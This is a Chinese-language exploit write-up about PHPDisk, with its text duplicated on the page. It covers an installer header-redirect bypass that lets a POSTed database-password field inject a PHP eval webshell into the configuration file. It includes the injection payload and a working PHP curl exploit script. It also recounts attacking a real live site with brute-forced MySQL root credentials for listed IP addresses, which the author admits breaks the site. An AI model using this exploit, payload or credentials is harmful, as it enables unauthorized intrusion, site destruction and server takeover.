phpdisk 漏洞發(fā)布 phpdisk header bypass & getShell exp解析
發(fā)布時(shí)間:2012-06-27 14:25:13 作者:佚名
我要評(píng)論

PHPDISK網(wǎng)盤(pán)系統(tǒng)是國(guó)內(nèi)使用廣泛PHP和MySQL構(gòu)建的網(wǎng)絡(luò)硬盤(pán)(文件存儲(chǔ)管理)系統(tǒng),筆者對(duì)其源碼分析中,發(fā)現(xiàn)了一個(gè)很有意思的東東
Author:Yaseng Team:CodePlay
1:代碼審計(jì)
PHPDISK網(wǎng)盤(pán)系統(tǒng)是國(guó)內(nèi)使用廣泛PHP和MySQL構(gòu)建的網(wǎng)絡(luò)硬盤(pán)(文件存儲(chǔ)管理)系統(tǒng),筆者對(duì)其源碼分析中,發(fā)現(xiàn)了一個(gè)很有意思的東東…..

圖一
圖一為install下面的index.php,程序安裝文件??瓷掀鸷苷5拇a,當(dāng)系統(tǒng)安裝時(shí),生成一個(gè)鎖定文件,再次執(zhí)行install時(shí)判斷,這里他用了一個(gè)Header,而木有exit 。然而php中header 跳轉(zhuǎn)之后代碼還是向后執(zhí)行,可以直接post 數(shù)據(jù)過(guò)去,再來(lái)看這個(gè)文件 。

圖二
安裝流程全部靠$step,而step 又可以靠POST 控制。 繼續(xù)找可以利用之處
$str = "<?php".LF.LF;
$str .= "http:// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF;
$str .= "\$configs = array(".LF.LF;
$str .= "\t'dbhost' => '$dbhost',".LF.LF;
$str .= "\t'dbname' => '$dbname',".LF.LF;
$str .= "\t'dbuser' => '$dbuser',".LF.LF;
$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF;
$str .= "\t'pconnect' => 0,".LF.LF;
$str .= "\t'tpf' => 'pd_',".LF.LF;
$str .= "\t'charset' => '$charset',".LF.LF;
$str .= "\t'debug' => '0',".LF.LF;
$str .= ");".LF.LF;
$str .= "define('ADMINCP','admincp');".LF;
$str .= "?>".LF;
$fp = fopen($config_file,'w');
if (!$fp) {
exit("Can not open file <b>$config_file</b> .");
}
if(is_writable($config_file)){
if(@fwrite($fp,$str)){
$msg .= "<font color=blue>{$config_file} ".__('write_success')."</font>";
}else{
吧post 數(shù)據(jù)寫(xiě)入配置文件configs.inc.php,可以利用之,繼續(xù)目測(cè)之。
function stripslashes_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = stripslashes_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
if (@get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
哈哈,為了安裝方便,竟然去掉了gpc,這下可以直接寫(xiě)入木馬了。
2:漏洞利用& getShell 方法
查找寫(xiě)入配置的地方
$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());
if(!mysql_select_db($dbname,$_l)){
mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());
}
@mysql_close($_l);
驗(yàn)證是否可以連接,錯(cuò)誤的數(shù)據(jù)庫(kù)信息直接退出哦了,看來(lái)不能亂寫(xiě)了,只能在dbpasswd 上面下功夫。
首先yy一下system 下的configs.inc.php 文件
'dbpasswd' => '',);?><?php eval($_POST['y']);?>',
就可以直接 菜刀連接之
由于沒(méi)有萬(wàn)惡的gpc 直接POST一個(gè)'dbpasswd' = '',);?><?php eval($_POST['y']);?>'
也就是此時(shí)的密碼為: ',);?><?php eval($_POST['y']);?>
此時(shí)需要post的 數(shù)據(jù)包為:
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;
當(dāng)數(shù)據(jù)庫(kù)信息正確時(shí),成功寫(xiě)入一句話木馬.

圖四
成功寫(xiě)入shell
3:getShell exp 編寫(xiě)
結(jié)束yy,我們來(lái)用php 中強(qiáng)大的curl exp,前文我們已然構(gòu)造出post 傳送的數(shù)據(jù)。然后在根據(jù)特征檢測(cè)是否getShell ,具體代碼如下(完整exp 見(jiàn)附件)。
$site = $argv[1]; //傳入的 網(wǎng)站
$url= $site."/install/index.php";
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //發(fā)送post 數(shù)據(jù)
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site.'/system/configs.inc.php';
if(strpos(@file_get_contents($shell),'pconnect')){ //檢測(cè)是否成功
echo "Hi guy I get the Shell:".$shell;
}else{
echo "Shit !!! This Site:$site Can not get Shell";
}
4:實(shí)戰(zhàn)演示
其實(shí)這種拿shell 方式是極其缺德,破壞configs.inc.php,導(dǎo)致全站崩潰,俺找了個(gè)比較新的站點(diǎn)(目測(cè)沒(méi)什么人) 主啊 原諒我吧 …… 實(shí)戰(zhàn)一番.
找外連數(shù)據(jù)庫(kù)啊.菜刀里面找了x個(gè)shell 皆不能外聯(lián),干 向朋友要了個(gè)mysql root 爆破工具,爆破了一批root 。
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.252 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.253 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.250 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.251 root passwd
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.254 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.252 root root123456
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.253 root root123456

隨便找了個(gè),本地adminer(一個(gè)單文件php MySQL管理客戶(hù)端) 進(jìn)去改密碼,此時(shí)發(fā)送的data為(如果不行 請(qǐng)大家自行更換可外鏈的mysql)
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;
Php命令行下執(zhí)行php phpdisk.php

Done,成功寫(xiě)入,菜刀連接。

Ko ?。。?br /> 4:總結(jié)
本文是Header直接跳轉(zhuǎn)導(dǎo)致繞過(guò)的典型文章,php函數(shù)使用強(qiáng)大而簡(jiǎn)單,同時(shí)我們不得不謹(jǐn)慎使用如header,preg_replace,eval 之類(lèi)的危險(xiǎn)函數(shù),以免被非法利用。
1:代碼審計(jì)
PHPDISK網(wǎng)盤(pán)系統(tǒng)是國(guó)內(nèi)使用廣泛PHP和MySQL構(gòu)建的網(wǎng)絡(luò)硬盤(pán)(文件存儲(chǔ)管理)系統(tǒng),筆者對(duì)其源碼分析中,發(fā)現(xiàn)了一個(gè)很有意思的東東…..

圖一
圖一為install下面的index.php,程序安裝文件??瓷掀鸷苷5拇a,當(dāng)系統(tǒng)安裝時(shí),生成一個(gè)鎖定文件,再次執(zhí)行install時(shí)判斷,這里他用了一個(gè)Header,而木有exit 。然而php中header 跳轉(zhuǎn)之后代碼還是向后執(zhí)行,可以直接post 數(shù)據(jù)過(guò)去,再來(lái)看這個(gè)文件 。

圖二
安裝流程全部靠$step,而step 又可以靠POST 控制。 繼續(xù)找可以利用之處
復(fù)制代碼
代碼如下:$str = "<?php".LF.LF;
$str .= "http:// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF;
$str .= "\$configs = array(".LF.LF;
$str .= "\t'dbhost' => '$dbhost',".LF.LF;
$str .= "\t'dbname' => '$dbname',".LF.LF;
$str .= "\t'dbuser' => '$dbuser',".LF.LF;
$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF;
$str .= "\t'pconnect' => 0,".LF.LF;
$str .= "\t'tpf' => 'pd_',".LF.LF;
$str .= "\t'charset' => '$charset',".LF.LF;
$str .= "\t'debug' => '0',".LF.LF;
$str .= ");".LF.LF;
$str .= "define('ADMINCP','admincp');".LF;
$str .= "?>".LF;
$fp = fopen($config_file,'w');
if (!$fp) {
exit("Can not open file <b>$config_file</b> .");
}
if(is_writable($config_file)){
if(@fwrite($fp,$str)){
$msg .= "<font color=blue>{$config_file} ".__('write_success')."</font>";
}else{
吧post 數(shù)據(jù)寫(xiě)入配置文件configs.inc.php,可以利用之,繼續(xù)目測(cè)之。
function stripslashes_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = stripslashes_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
if (@get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
哈哈,為了安裝方便,竟然去掉了gpc,這下可以直接寫(xiě)入木馬了。
2:漏洞利用& getShell 方法
查找寫(xiě)入配置的地方
復(fù)制代碼
代碼如下:$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());
if(!mysql_select_db($dbname,$_l)){
mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());
}
@mysql_close($_l);
驗(yàn)證是否可以連接,錯(cuò)誤的數(shù)據(jù)庫(kù)信息直接退出哦了,看來(lái)不能亂寫(xiě)了,只能在dbpasswd 上面下功夫。
首先yy一下system 下的configs.inc.php 文件
'dbpasswd' => '',);?><?php eval($_POST['y']);?>',
就可以直接 菜刀連接之
由于沒(méi)有萬(wàn)惡的gpc 直接POST一個(gè)'dbpasswd' = '',);?><?php eval($_POST['y']);?>'
也就是此時(shí)的密碼為: ',);?><?php eval($_POST['y']);?>
此時(shí)需要post的 數(shù)據(jù)包為:
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;
當(dāng)數(shù)據(jù)庫(kù)信息正確時(shí),成功寫(xiě)入一句話木馬.

圖四
成功寫(xiě)入shell
3:getShell exp 編寫(xiě)
結(jié)束yy,我們來(lái)用php 中強(qiáng)大的curl exp,前文我們已然構(gòu)造出post 傳送的數(shù)據(jù)。然后在根據(jù)特征檢測(cè)是否getShell ,具體代碼如下(完整exp 見(jiàn)附件)。
復(fù)制代碼
代碼如下:$site = $argv[1]; //傳入的 網(wǎng)站
$url= $site."/install/index.php";
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //發(fā)送post 數(shù)據(jù)
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site.'/system/configs.inc.php';
if(strpos(@file_get_contents($shell),'pconnect')){ //檢測(cè)是否成功
echo "Hi guy I get the Shell:".$shell;
}else{
echo "Shit !!! This Site:$site Can not get Shell";
}
4:實(shí)戰(zhàn)演示
其實(shí)這種拿shell 方式是極其缺德,破壞configs.inc.php,導(dǎo)致全站崩潰,俺找了個(gè)比較新的站點(diǎn)(目測(cè)沒(méi)什么人) 主啊 原諒我吧 …… 實(shí)戰(zhàn)一番.
找外連數(shù)據(jù)庫(kù)啊.菜刀里面找了x個(gè)shell 皆不能外聯(lián),干 向朋友要了個(gè)mysql root 爆破工具,爆破了一批root 。
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.252 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.253 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.250 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.251 root passwd
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.254 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.252 root root123456
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.253 root root123456

隨便找了個(gè),本地adminer(一個(gè)單文件php MySQL管理客戶(hù)端) 進(jìn)去改密碼,此時(shí)發(fā)送的data為(如果不行 請(qǐng)大家自行更換可外鏈的mysql)
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;
Php命令行下執(zhí)行php phpdisk.php

Done,成功寫(xiě)入,菜刀連接。

Ko ?。。?br /> 4:總結(jié)
本文是Header直接跳轉(zhuǎn)導(dǎo)致繞過(guò)的典型文章,php函數(shù)使用強(qiáng)大而簡(jiǎn)單,同時(shí)我們不得不謹(jǐn)慎使用如header,preg_replace,eval 之類(lèi)的危險(xiǎn)函數(shù),以免被非法利用。
相關(guān)文章
2019最新RDP遠(yuǎn)程桌面漏洞官方補(bǔ)丁(針對(duì)win2003、win2008)
Windows系列服務(wù)器于2019年5月15號(hào),被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會(huì)遭到攻擊,該服務(wù)器漏洞利用方式是通過(guò)遠(yuǎn)程桌面端口332021-07-25寶塔面板 phpmyadmin 未授權(quán)訪問(wèn)漏洞 BUG ip:888/pma的問(wèn)題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪問(wèn)漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-08-24CPU幽靈和熔斷漏洞是什么?Intel為大家簡(jiǎn)單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶(hù)恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個(gè)漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21- 2017年5月12日,WannaCry蠕蟲(chóng)通過(guò)MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計(jì)算機(jī),該蠕蟲(chóng)感染計(jì)算機(jī)后會(huì)向計(jì)算機(jī)中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密,本文對(duì)其2017-05-17
- 大部分的用戶(hù)可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
WEB常見(jiàn)漏洞問(wèn)題危害及修復(fù)建議
漏洞檢測(cè)工具用語(yǔ)有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細(xì),具有參考解決價(jià)值,感興趣的朋友一起看看吧2016-10-11漏洞 自動(dòng)化腳本 論漏洞和自動(dòng)化腳本的區(qū)別
漏洞無(wú)處不在,它是在硬件、軟件、協(xié)議的具體實(shí)現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪問(wèn)或破壞系統(tǒng)2016-09-29手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來(lái)APT追蹤盛行,最常見(jiàn)的就是各種以釣魚(yú)開(kāi)始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚(yú),也有魚(yú)叉式郵件釣魚(yú),下面小編就為大家介紹office漏洞CVE-2012-0158,一起來(lái)看看吧2016-09-28簡(jiǎn)單七步教你如何解決關(guān)鍵SSL安全問(wèn)題和漏洞
SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡(jiǎn)單七步教你如何解決關(guān)鍵SSL安全問(wèn)題2016-09-23Python 爬蟲(chóng)修養(yǎng)-處理動(dòng)態(tài)網(wǎng)頁(yè)
在爬蟲(chóng)開(kāi)發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實(shí)現(xiàn)按照深度進(jìn)行爬行。但是實(shí)際上,這些并不夠。關(guān)于爬蟲(chóng)的基礎(chǔ)知識(shí)比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12